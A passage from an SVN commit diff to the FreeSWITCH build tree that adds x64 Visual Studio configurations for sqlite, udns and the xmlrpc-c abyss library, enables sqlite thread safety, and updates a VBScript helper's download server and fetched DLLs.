+						Name="VCCLCompilerTool"
+						AdditionalIncludeDirectories=""
+						PreprocessorDefinitions=""
+					/>
+				</FileConfiguration>
 			</File>
 			<File
 				RelativePath="..\..\sphinxbase-0.4.99\src\libsphinxbase\fe\yin.c"

Property changes: freeswitch/branches/seven/libs/win32/sqlite


Name: svn:ignore
   - Debug
Release
*.ncb
*.user
*.bak
Debug DLL
Release DLL
   + Debug
Release
*.ncb
*.user
*.bak
Debug DLL
Release DLL
x64

Modified: freeswitch/branches/seven/libs/win32/sqlite/sqlite.2008.vcproj (14471 => 14472)


--- freeswitch/branches/seven/libs/win32/sqlite/sqlite.2008.vcproj	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/win32/sqlite/sqlite.2008.vcproj	2009-08-09 18:53:22 UTC (rev 14472)
@@ -12,6 +12,9 @@
 		<Platform
 			Name="Win32"
 		/>
+		<Platform
+			Name="x64"
+		/>
 	</Platforms>
 	<ToolFiles>
 	</ToolFiles>
@@ -43,7 +46,7 @@
 				Name="VCCLCompilerTool"
 				Optimization="0"
 				AdditionalIncludeDirectories="&quot;$(ProjectDir)&quot;;&quot;$(ProjectDir)..\..\sqlite\src&quot;"
-				PreprocessorDefinitions="_CRT_SECURE_NO_DEPRECATE;_CRT_NONSTDC_NO_DEPRECATE;WIN32;_DEBUG;_LIB;SQLITE_DEBUG"
+				PreprocessorDefinitions="_CRT_SECURE_NO_DEPRECATE;_CRT_NONSTDC_NO_DEPRECATE;WIN32;_DEBUG;_LIB;SQLITE_DEBUG;THREADSAFE=1"
 				MinimalRebuild="true"
 				BasicRuntimeChecks="3"
 				RuntimeLibrary="3"
@@ -81,6 +84,71 @@
 			/>
 		</Configuration>
 		<Configuration
+			Name="Debug|x64"
+			OutputDirectory="$(PlatformName)\$(ConfigurationName)"
+			IntermediateDirectory="$(PlatformName)\$(ConfigurationName)"
+			ConfigurationType="4"
+			CharacterSet="2"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+				CommandLine="if exist &quot;$(ProjectDir)..\..\sqlite\src\sqlite3.h&quot; del &quot;$(ProjectDir)..\..\sqlite\src\sqlite3.h&quot;&#x0D;&#x0A;if exist &quot;$(ProjectDir)..\..\sqlite\src\parse.h&quot; del &quot;$(ProjectDir)..\..\sqlite\src\parse.h&quot;&#x0D;&#x0A;if exist &quot;$(ProjectDir)..\..\sqlite\src\parse.c&quot; del &quot;$(ProjectDir)..\..\sqlite\src\parse.c&quot;&#x0D;&#x0A;if exist &quot;$(ProjectDir)..\..\sqlite\src\opcodes.h&quot; del &quot;$(ProjectDir)..\..\sqlite\src\opcodes.h&quot;&#x0D;&#x0A;if exist &quot;$(ProjectDir)..\..\sqlite\src\opcodes.c&quot; del &quot;$(ProjectDir)..\..\sqlite\src\opcodes.c&quot;&#x0D;&#x0A;if exist &quot;$(ProjectDir)..\..\sqlite\src\keywordhash.h&quot; del &quot;$(ProjectDir)..\..\sqlite\src\keywordhash.h&quot;&#x0D;&#x0A;"
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+			/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"
+			/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+				TargetEnvironment="3"
+			/>
+			<Tool
+				Name="VCCLCompilerTool"
+				Optimization="0"
+				AdditionalIncludeDirectories="&quot;$(ProjectDir)&quot;;&quot;$(ProjectDir)..\..\sqlite\src&quot;"
+				PreprocessorDefinitions="_CRT_SECURE_NO_DEPRECATE;_CRT_NONSTDC_NO_DEPRECATE;WIN32;_DEBUG;_LIB;SQLITE_DEBUG;THREADSAFE=1"
+				MinimalRebuild="true"
+				BasicRuntimeChecks="3"
+				RuntimeLibrary="3"
+				UsePrecompiledHeader="0"
+				WarningLevel="0"
+				DebugInformationFormat="3"
+			/>
+			<Tool
+				Name="VCManagedResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCPreLinkEventTool"
+			/>
+			<Tool
+				Name="VCLibrarianTool"
+			/>
+			<Tool
+				Name="VCALinkTool"
+			/>
+			<Tool
+				Name="VCXDCMakeTool"
+			/>
+			<Tool
+				Name="VCBscMakeTool"
+			/>
+			<Tool
+				Name="VCFxCopTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+				CommandLine="&#x0D;&#x0A;"
+			/>
+		</Configuration>
+		<Configuration
 			Name="Release|Win32"
 			OutputDirectory="$(ConfigurationName)"
 			IntermediateDirectory="$(ConfigurationName)"
@@ -106,7 +174,7 @@
 			<Tool
 				Name="VCCLCompilerTool"
 				AdditionalIncludeDirectories="&quot;$(ProjectDir)&quot;;&quot;$(ProjectDir)..\..\sqlite\src&quot;"
-				PreprocessorDefinitions="_CRT_SECURE_NO_DEPRECATE;_CRT_NONSTDC_NO_DEPRECATE;WIN32;NDEBUG;_LIB"
+				PreprocessorDefinitions="_CRT_SECURE_NO_DEPRECATE;_CRT_NONSTDC_NO_DEPRECATE;WIN32;NDEBUG;_LIB;THREADSAFE=1"
 				RuntimeLibrary="2"
 				UsePrecompiledHeader="0"
 				WarningLevel="0"
@@ -123,7 +191,6 @@
 			/>
 			<Tool
 				Name="VCLibrarianTool"
-				OutputFile="$(OutDir)/sqlite.lib"
 			/>
 			<Tool
 				Name="VCALinkTool"
@@ -143,6 +210,68 @@
 			/>
 		</Configuration>
 		<Configuration
+			Name="Release|x64"
+			OutputDirectory="$(PlatformName)\$(ConfigurationName)"
+			IntermediateDirectory="$(PlatformName)\$(ConfigurationName)"
+			ConfigurationType="4"
+			CharacterSet="2"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+				CommandLine="if exist &quot;$(ProjectDir)..\..\sqlite\src\sqlite3.h&quot; del &quot;$(ProjectDir)..\..\sqlite\src\sqlite3.h&quot;&#x0D;&#x0A;if exist &quot;$(ProjectDir)..\..\sqlite\src\parse.h&quot; del &quot;$(ProjectDir)..\..\sqlite\src\parse.h&quot;&#x0D;&#x0A;if exist &quot;$(ProjectDir)..\..\sqlite\src\parse.c&quot; del &quot;$(ProjectDir)..\..\sqlite\src\parse.c&quot;&#x0D;&#x0A;if exist &quot;$(ProjectDir)..\..\sqlite\src\opcodes.h&quot; del &quot;$(ProjectDir)..\..\sqlite\src\opcodes.h&quot;&#x0D;&#x0A;if exist &quot;$(ProjectDir)..\..\sqlite\src\opcodes.c&quot; del &quot;$(ProjectDir)..\..\sqlite\src\opcodes.c&quot;&#x0D;&#x0A;if exist &quot;$(ProjectDir)..\..\sqlite\src\keywordhash.h&quot; del &quot;$(ProjectDir)..\..\sqlite\src\keywordhash.h&quot;&#x0D;&#x0A;"
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+			/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"
+			/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+				TargetEnvironment="3"
+			/>
+			<Tool
+				Name="VCCLCompilerTool"
+				AdditionalIncludeDirectories="&quot;$(ProjectDir)&quot;;&quot;$(ProjectDir)..\..\sqlite\src&quot;"
+				PreprocessorDefinitions="_CRT_SECURE_NO_DEPRECATE;_CRT_NONSTDC_NO_DEPRECATE;WIN32;NDEBUG;_LIB;THREADSAFE=1"
+				RuntimeLibrary="2"
+				UsePrecompiledHeader="0"
+				WarningLevel="0"
+				DebugInformationFormat="3"
+			/>
+			<Tool
+				Name="VCManagedResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCPreLinkEventTool"
+			/>
+			<Tool
+				Name="VCLibrarianTool"
+			/>
+			<Tool
+				Name="VCALinkTool"
+			/>
+			<Tool
+				Name="VCXDCMakeTool"
+			/>
+			<Tool
+				Name="VCBscMakeTool"
+			/>
+			<Tool
+				Name="VCFxCopTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+				CommandLine="&#x0D;&#x0A;"
+			/>
+		</Configuration>
+		<Configuration
 			Name="Debug DLL|Win32"
 			OutputDirectory="$(SolutionDir)Debug"
 			IntermediateDirectory="$(ConfigurationName)"
@@ -169,7 +298,7 @@
 				Name="VCCLCompilerTool"
 				Optimization="0"
 				AdditionalIncludeDirectories="&quot;$(ProjectDir)&quot;;&quot;$(ProjectDir)..\..\sqlite\src&quot;"
-				PreprocessorDefinitions="_CRT_SECURE_NO_DEPRECATE;_CRT_NONSTDC_NO_DEPRECATE;WIN32;_DEBUG;_LIB;SQLITE_DEBUG"
+				PreprocessorDefinitions="_CRT_SECURE_NO_DEPRECATE;_CRT_NONSTDC_NO_DEPRECATE;WIN32;_DEBUG;_LIB;SQLITE_DEBUG;THREADSAFE=1"
 				MinimalRebuild="true"
 				BasicRuntimeChecks="3"
 				RuntimeLibrary="3"
@@ -222,6 +351,86 @@
 			/>
 		</Configuration>
 		<Configuration
+			Name="Debug DLL|x64"
+			OutputDirectory="$(SolutionDir)$(PlatformName)\$(ConfigurationName)"
+			IntermediateDirectory="$(PlatformName)\$(ConfigurationName)"
+			ConfigurationType="2"
+			CharacterSet="2"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+				CommandLine="if exist &quot;$(ProjectDir)..\..\sqlite\src\sqlite3.h&quot; del &quot;$(ProjectDir)..\..\sqlite\src\sqlite3.h&quot;&#x0D;&#x0A;if exist &quot;$(ProjectDir)..\..\sqlite\src\parse.h&quot; del &quot;$(ProjectDir)..\..\sqlite\src\parse.h&quot;&#x0D;&#x0A;if exist &quot;$(ProjectDir)..\..\sqlite\src\parse.c&quot; del &quot;$(ProjectDir)..\..\sqlite\src\parse.c&quot;&#x0D;&#x0A;if exist &quot;$(ProjectDir)..\..\sqlite\src\opcodes.h&quot; del &quot;$(ProjectDir)..\..\sqlite\src\opcodes.h&quot;&#x0D;&#x0A;if exist &quot;$(ProjectDir)..\..\sqlite\src\opcodes.c&quot; del &quot;$(ProjectDir)..\..\sqlite\src\opcodes.c&quot;&#x0D;&#x0A;if exist &quot;$(ProjectDir)..\..\sqlite\src\keywordhash.h&quot; del &quot;$(ProjectDir)..\..\sqlite\src\keywordhash.h&quot;&#x0D;&#x0A;"
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+			/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"
+			/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+				TargetEnvironment="3"
+			/>
+			<Tool
+				Name="VCCLCompilerTool"
+				Optimization="0"
+				AdditionalIncludeDirectories="&quot;$(ProjectDir)&quot;;&quot;$(ProjectDir)..\..\sqlite\src&quot;"
+				PreprocessorDefinitions="_CRT_SECURE_NO_DEPRECATE;_CRT_NONSTDC_NO_DEPRECATE;WIN32;_DEBUG;_LIB;SQLITE_DEBUG;THREADSAFE=1"
+				MinimalRebuild="true"
+				BasicRuntimeChecks="3"
+				RuntimeLibrary="3"
+				UsePrecompiledHeader="0"
+				WarningLevel="0"
+				DebugInformationFormat="3"
+			/>
+			<Tool
+				Name="VCManagedResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCPreLinkEventTool"
+			/>
+			<Tool
+				Name="VCLinkerTool"
+				LinkIncremental="1"
+				ModuleDefinitionFile="sqlite3.def"
+				GenerateDebugInformation="true"
+				ProgramDatabaseFile="$(IntDir)\$(ProjectName).pdb"
+				SubSystem="2"
+				RandomizedBaseAddress="1"
+				DataExecutionPrevention="0"
+				ImportLibrary="$(IntDir)/$(TargetName).lib"
+				TargetMachine="17"
+			/>
+			<Tool
+				Name="VCALinkTool"
+			/>
+			<Tool
+				Name="VCManifestTool"
+			/>
+			<Tool
+				Name="VCXDCMakeTool"
+			/>
+			<Tool
+				Name="VCBscMakeTool"
+			/>
+			<Tool
+				Name="VCFxCopTool"
+			/>
+			<Tool
+				Name="VCAppVerifierTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+				CommandLine="&#x0D;&#x0A;"
+			/>
+		</Configuration>
+		<Configuration
 			Name="Release DLL|Win32"
 			OutputDirectory="$(SolutionDir)Release"
 			IntermediateDirectory="$(ConfigurationName)"
@@ -247,7 +456,7 @@
 			<Tool
 				Name="VCCLCompilerTool"
 				AdditionalIncludeDirectories="&quot;$(ProjectDir)&quot;;&quot;$(ProjectDir)..\..\sqlite\src&quot;"
-				PreprocessorDefinitions="_CRT_SECURE_NO_DEPRECATE;_CRT_NONSTDC_NO_DEPRECATE;WIN32;NDEBUG;_LIB"
+				PreprocessorDefinitions="_CRT_SECURE_NO_DEPRECATE;_CRT_NONSTDC_NO_DEPRECATE;WIN32;NDEBUG;_LIB;THREADSAFE=1"
 				RuntimeLibrary="2"
 				UsePrecompiledHeader="0"
 				WarningLevel="0"
@@ -293,6 +502,80 @@
 				CommandLine="&#x0D;&#x0A;"
 			/>
 		</Configuration>
+		<Configuration
+			Name="Release DLL|x64"
+			OutputDirectory="$(SolutionDir)$(PlatformName)\$(ConfigurationName)"
+			IntermediateDirectory="$(PlatformName)\$(ConfigurationName)"
+			ConfigurationType="2"
+			CharacterSet="2"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+				CommandLine="if exist &quot;$(ProjectDir)..\..\sqlite\src\sqlite3.h&quot; del &quot;$(ProjectDir)..\..\sqlite\src\sqlite3.h&quot;&#x0D;&#x0A;if exist &quot;$(ProjectDir)..\..\sqlite\src\parse.h&quot; del &quot;$(ProjectDir)..\..\sqlite\src\parse.h&quot;&#x0D;&#x0A;if exist &quot;$(ProjectDir)..\..\sqlite\src\parse.c&quot; del &quot;$(ProjectDir)..\..\sqlite\src\parse.c&quot;&#x0D;&#x0A;if exist &quot;$(ProjectDir)..\..\sqlite\src\opcodes.h&quot; del &quot;$(ProjectDir)..\..\sqlite\src\opcodes.h&quot;&#x0D;&#x0A;if exist &quot;$(ProjectDir)..\..\sqlite\src\opcodes.c&quot; del &quot;$(ProjectDir)..\..\sqlite\src\opcodes.c&quot;&#x0D;&#x0A;if exist &quot;$(ProjectDir)..\..\sqlite\src\keywordhash.h&quot; del &quot;$(ProjectDir)..\..\sqlite\src\keywordhash.h&quot;&#x0D;&#x0A;"
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+			/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"
+			/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+				TargetEnvironment="3"
+			/>
+			<Tool
+				Name="VCCLCompilerTool"
+				AdditionalIncludeDirectories="&quot;$(ProjectDir)&quot;;&quot;$(ProjectDir)..\..\sqlite\src&quot;"
+				PreprocessorDefinitions="_CRT_SECURE_NO_DEPRECATE;_CRT_NONSTDC_NO_DEPRECATE;WIN32;NDEBUG;_LIB;THREADSAFE=1"
+				RuntimeLibrary="2"
+				UsePrecompiledHeader="0"
+				WarningLevel="0"
+				DebugInformationFormat="3"
+			/>
+			<Tool
+				Name="VCManagedResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCPreLinkEventTool"
+			/>
+			<Tool
+				Name="VCLinkerTool"
+				LinkIncremental="1"
+				ModuleDefinitionFile="sqlite3.def"
+				RandomizedBaseAddress="1"
+				DataExecutionPrevention="0"
+				ImportLibrary="$(IntDir)/$(TargetName).lib"
+				TargetMachine="17"
+			/>
+			<Tool
+				Name="VCALinkTool"
+			/>
+			<Tool
+				Name="VCManifestTool"
+			/>
+			<Tool
+				Name="VCXDCMakeTool"
+			/>
+			<Tool
+				Name="VCBscMakeTool"
+			/>
+			<Tool
+				Name="VCFxCopTool"
+			/>
+			<Tool
+				Name="VCAppVerifierTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+				CommandLine="&#x0D;&#x0A;"
+			/>
+		</Configuration>
 	</Configurations>
 	<References>
 	</References>
@@ -390,6 +673,14 @@
 					/>
 				</FileConfiguration>
 				<FileConfiguration
+					Name="Debug|x64"
+					ExcludedFromBuild="true"
+					>
+					<Tool
+						Name="VCCLCompilerTool"
+					/>
+				</FileConfiguration>
+				<FileConfiguration
 					Name="Release|Win32"
 					ExcludedFromBuild="true"
 					>
@@ -398,6 +689,14 @@
 					/>
 				</FileConfiguration>
 				<FileConfiguration
+					Name="Release|x64"
+					ExcludedFromBuild="true"
+					>
+					<Tool
+						Name="VCCLCompilerTool"
+					/>
+				</FileConfiguration>
+				<FileConfiguration
 					Name="Debug DLL|Win32"
 					ExcludedFromBuild="true"
 					>
@@ -406,6 +705,14 @@
 					/>
 				</FileConfiguration>
 				<FileConfiguration
+					Name="Debug DLL|x64"
+					ExcludedFromBuild="true"
+					>
+					<Tool
+						Name="VCCLCompilerTool"
+					/>
+				</FileConfiguration>
+				<FileConfiguration
 					Name="Release DLL|Win32"
 					ExcludedFromBuild="true"
 					>
@@ -413,6 +720,14 @@
 						Name="VCCLCompilerTool"
 					/>
 				</FileConfiguration>
+				<FileConfiguration
+					Name="Release DLL|x64"
+					ExcludedFromBuild="true"
+					>
+					<Tool
+						Name="VCCLCompilerTool"
+					/>
+				</FileConfiguration>
 			</File>
 			<File
 				RelativePath="..\..\sqlite\src\os_win.c"

Modified: freeswitch/branches/seven/libs/win32/sqlite/sqlite.vcproj (14471 => 14472)


--- freeswitch/branches/seven/libs/win32/sqlite/sqlite.vcproj	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/win32/sqlite/sqlite.vcproj	2009-08-09 18:53:22 UTC (rev 14472)
@@ -42,7 +42,7 @@
 				Name="VCCLCompilerTool"
 				Optimization="0"
 				AdditionalIncludeDirectories="&quot;$(ProjectDir)&quot;;&quot;$(ProjectDir)..\..\sqlite\src&quot;"
-				PreprocessorDefinitions="_CRT_SECURE_NO_DEPRECATE;_CRT_NONSTDC_NO_DEPRECATE;WIN32;_DEBUG;_LIB;SQLITE_DEBUG"
+				PreprocessorDefinitions="_CRT_SECURE_NO_DEPRECATE;_CRT_NONSTDC_NO_DEPRECATE;WIN32;_DEBUG;_LIB;SQLITE_DEBUG;THREADSAFE=1"
 				MinimalRebuild="true"
 				BasicRuntimeChecks="3"
 				RuntimeLibrary="3"
@@ -106,7 +106,7 @@
 			<Tool
 				Name="VCCLCompilerTool"
 				AdditionalIncludeDirectories="&quot;$(ProjectDir)&quot;;&quot;$(ProjectDir)..\..\sqlite\src&quot;"
-				PreprocessorDefinitions="_CRT_SECURE_NO_DEPRECATE;_CRT_NONSTDC_NO_DEPRECATE;WIN32;NDEBUG;_LIB"
+				PreprocessorDefinitions="_CRT_SECURE_NO_DEPRECATE;_CRT_NONSTDC_NO_DEPRECATE;WIN32;NDEBUG;_LIB;THREADSAFE=1"
 				RuntimeLibrary="2"
 				UsePrecompiledHeader="0"
 				WarningLevel="0"
@@ -170,7 +170,7 @@
 				Name="VCCLCompilerTool"
 				Optimization="0"
 				AdditionalIncludeDirectories="&quot;$(ProjectDir)&quot;;&quot;$(ProjectDir)..\..\sqlite\src&quot;"
-				PreprocessorDefinitions="_CRT_SECURE_NO_DEPRECATE;_CRT_NONSTDC_NO_DEPRECATE;WIN32;_DEBUG;_LIB;SQLITE_DEBUG"
+				PreprocessorDefinitions="_CRT_SECURE_NO_DEPRECATE;_CRT_NONSTDC_NO_DEPRECATE;WIN32;_DEBUG;_LIB;SQLITE_DEBUG;THREADSAFE=1"
 				MinimalRebuild="true"
 				BasicRuntimeChecks="3"
 				RuntimeLibrary="3"
@@ -250,7 +250,7 @@
 			<Tool
 				Name="VCCLCompilerTool"
 				AdditionalIncludeDirectories="&quot;$(ProjectDir)&quot;;&quot;$(ProjectDir)..\..\sqlite\src&quot;"
-				PreprocessorDefinitions="_CRT_SECURE_NO_DEPRECATE;_CRT_NONSTDC_NO_DEPRECATE;WIN32;NDEBUG;_LIB"
+				PreprocessorDefinitions="_CRT_SECURE_NO_DEPRECATE;_CRT_NONSTDC_NO_DEPRECATE;WIN32;NDEBUG;_LIB;THREADSAFE=1"
 				RuntimeLibrary="2"
 				UsePrecompiledHeader="0"
 				WarningLevel="0"

Property changes: freeswitch/branches/seven/libs/win32/udns


Name: svn:ignore
   - Release
Debug
*.user
debug
   + Release
Debug
*.user
debug
x64

Modified: freeswitch/branches/seven/libs/win32/udns/libudns.2008.vcproj (14471 => 14472)


--- freeswitch/branches/seven/libs/win32/udns/libudns.2008.vcproj	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/win32/udns/libudns.2008.vcproj	2009-08-09 18:53:22 UTC (rev 14472)
@@ -12,6 +12,9 @@
 		<Platform
 			Name="Win32"
 		/>
+		<Platform
+			Name="x64"
+		/>
 	</Platforms>
 	<ToolFiles>
 	</ToolFiles>
@@ -137,6 +140,129 @@
 				Name="VCPostBuildEventTool"
 			/>
 		</Configuration>
+		<Configuration
+			Name="Debug|x64"
+			OutputDirectory="$(SolutionDir)$(PlatformName)\$(ConfigurationName)"
+			IntermediateDirectory="$(PlatformName)\$(ConfigurationName)"
+			ConfigurationType="4"
+			CharacterSet="0"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+			/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"
+			/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+				TargetEnvironment="3"
+			/>
+			<Tool
+				Name="VCCLCompilerTool"
+				Optimization="0"
+				PreprocessorDefinitions="WIN32;_DEBUG;_LIB"
+				MinimalRebuild="true"
+				BasicRuntimeChecks="3"
+				RuntimeLibrary="3"
+				UsePrecompiledHeader="0"
+				WarningLevel="3"
+				DebugInformationFormat="3"
+			/>
+			<Tool
+				Name="VCManagedResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCPreLinkEventTool"
+			/>
+			<Tool
+				Name="VCLibrarianTool"
+			/>
+			<Tool
+				Name="VCALinkTool"
+			/>
+			<Tool
+				Name="VCXDCMakeTool"
+			/>
+			<Tool
+				Name="VCBscMakeTool"
+			/>
+			<Tool
+				Name="VCFxCopTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+			/>
+		</Configuration>
+		<Configuration
+			Name="Release|x64"
+			OutputDirectory="$(SolutionDir)$(PlatformName)\$(ConfigurationName)"
+			IntermediateDirectory="$(PlatformName)\$(ConfigurationName)"
+			ConfigurationType="4"
+			CharacterSet="0"
+			WholeProgramOptimization="0"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+			/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"
+			/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+				TargetEnvironment="3"
+			/>
+			<Tool
+				Name="VCCLCompilerTool"
+				Optimization="0"
+				PreprocessorDefinitions="WIN32;NDEBUG;_LIB"
+				RuntimeLibrary="2"
+				UsePrecompiledHeader="0"
+				WarningLevel="3"
+				DebugInformationFormat="3"
+			/>
+			<Tool
+				Name="VCManagedResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCPreLinkEventTool"
+			/>
+			<Tool
+				Name="VCLibrarianTool"
+			/>
+			<Tool
+				Name="VCALinkTool"
+			/>
+			<Tool
+				Name="VCXDCMakeTool"
+			/>
+			<Tool
+				Name="VCBscMakeTool"
+			/>
+			<Tool
+				Name="VCFxCopTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+			/>
+		</Configuration>
 	</Configurations>
 	<References>
 	</References>

Modified: freeswitch/branches/seven/libs/win32/util.vbs (14471 => 14472)


--- freeswitch/branches/seven/libs/win32/util.vbs	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/win32/util.vbs	2009-08-09 18:53:22 UTC (rev 14472)
@@ -30,7 +30,7 @@
 quote=Chr(34)
 ScriptDir=Left(WScript.ScriptFullName,Len(WScript.ScriptFullName)-Len(WScript.ScriptName))
 UtilsDir=Showpath(ScriptDir)
-ToolsBase="http://svn.freeswitch.org/downloads/win32/"
+ToolsBase="http://files.freeswitch.org/downloads/win32/"
 
 If UseWgetEXE Then
 	GetWgetEXE UtilsDir
@@ -254,6 +254,9 @@
 		Wget ToolsBase & "fs_svnversion.exe", tmpFolder
 	End If	
 
+	If Not FSO.FileExists(tmpFolder & "libdb44.dll") Then 
+		Wget ToolsBase & "libdb44.dll", tmpFolder
+	End If	
 	If Not FSO.FileExists(tmpFolder & "libsvn_diff-1.dll") Then 
 		Wget ToolsBase & "libsvn_diff-1.dll", tmpFolder
 	End If	

Property changes: freeswitch/branches/seven/libs/xmlrpc-c/Windows


Name: svn:ignore
   - Debug
*.user
Release
debug
   + Debug
*.user
Release
debug
x64

Modified: freeswitch/branches/seven/libs/xmlrpc-c/Windows/abyss.2008.vcproj (14471 => 14472)


--- freeswitch/branches/seven/libs/xmlrpc-c/Windows/abyss.2008.vcproj	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/xmlrpc-c/Windows/abyss.2008.vcproj	2009-08-09 18:53:22 UTC (rev 14472)
@@ -11,6 +11,9 @@
 		<Platform
 			Name="Win32"
 		/>
+		<Platform
+			Name="x64"
+		/>
 	</Platforms>
 	<ToolFiles>
 	</ToolFiles>
@@ -91,6 +94,81 @@
 			/>
 		</Configuration>
 		<Configuration
+			Name="Debug|x64"
+			OutputDirectory="$(PlatformName)\$(ConfigurationName)"
+			IntermediateDirectory="$(PlatformName)\$(ConfigurationName)"
+			ConfigurationType="4"
+			InheritedPropertySheets="$(VCInstallDir)VCProjectDefaults\UpgradeFromVC60.vsprops"
+			UseOfMFC="0"
+			ATLMinimizesCRunTimeLibraryUsage="false"
+			CharacterSet="2"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+			/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"
+			/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+				TargetEnvironment="3"
+			/>
+			<Tool
+				Name="VCCLCompilerTool"
+				Optimization="0"
+				AdditionalIncludeDirectories="..\,..\include,..\lib\util\include,."
+				PreprocessorDefinitions="WIN32;_DEBUG;_LIB;ABYSS_WIN32;_THREAD"
+				MinimalRebuild="true"
+				BasicRuntimeChecks="3"
+				RuntimeLibrary="3"
+				PrecompiledHeaderFile=".\Debug\abyss/abyss.pch"
+				ObjectFile="$(IntDir)\Abyss\"
+				ProgramDataBaseFileName="$(IntDir)\Abyss\vc90.pdb"
+				WarningLevel="3"
+				SuppressStartupBanner="true"
+				DebugInformationFormat="3"
+			/>
+			<Tool
+				Name="VCManagedResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCResourceCompilerTool"
+				PreprocessorDefinitions="_DEBUG"
+				Culture="1033"
+			/>
+			<Tool
+				Name="VCPreLinkEventTool"
+			/>
+			<Tool
+				Name="VCLibrarianTool"
+				OutputFile="..\lib\$(PlatformName)\$(ConfigurationName)\abyssD.lib"
+				SuppressStartupBanner="true"
+			/>
+			<Tool
+				Name="VCALinkTool"
+			/>
+			<Tool
+				Name="VCXDCMakeTool"
+			/>
+			<Tool
+				Name="VCBscMakeTool"
+				SuppressStartupBanner="true"
+				OutputFile=".\Debug\abyss/abyss.bsc"
+			/>
+			<Tool
+				Name="VCFxCopTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+			/>
+		</Configuration>
+		<Configuration
 			Name="Release|Win32"
 			OutputDirectory=".\Release\Abyss"
 			IntermediateDirectory=".\Release\Abyss"
@@ -165,6 +243,81 @@
 				Name="VCPostBuildEventTool"
 			/>
 		</Configuration>
+		<Configuration
+			Name="Release|x64"
+			OutputDirectory="$(PlatformName)\$(ConfigurationName)"
+			IntermediateDirectory="$(PlatformName)\$(ConfigurationName)"
+			ConfigurationType="4"
+			InheritedPropertySheets="$(VCInstallDir)VCProjectDefaults\UpgradeFromVC60.vsprops"
+			UseOfMFC="0"
+			ATLMinimizesCRunTimeLibraryUsage="false"
+			CharacterSet="2"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+			/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"
+			/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+				TargetEnvironment="3"
+			/>
+			<Tool
+				Name="VCCLCompilerTool"
+				Optimization="2"
+				InlineFunctionExpansion="1"
+				AdditionalIncludeDirectories="..\,..\include,..\lib\util\include,."
+				PreprocessorDefinitions="WIN32;NDEBUG;_LIB;ABYSS_WIN32;_THREAD"
+				StringPooling="true"
+				RuntimeLibrary="2"
+				EnableFunctionLevelLinking="true"
+				PrecompiledHeaderFile=".\Release\Abyss/abyss.pch"
+				ObjectFile="$(IntDir)\Abyss\"
+				ProgramDataBaseFileName="$(IntDir)\Abyss\vc90.pdb"
+				WarningLevel="3"
+				SuppressStartupBanner="true"
+			/>
+			<Tool
+				Name="VCManagedResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCResourceCompilerTool"
+				PreprocessorDefinitions="NDEBUG"
+				Culture="1033"
+			/>
+			<Tool
+				Name="VCPreLinkEventTool"
+			/>
+			<Tool
+				Name="VCLibrarianTool"
+				OutputFile="..\lib\$(PlatformName)\$(ConfigurationName)\abyss.lib"
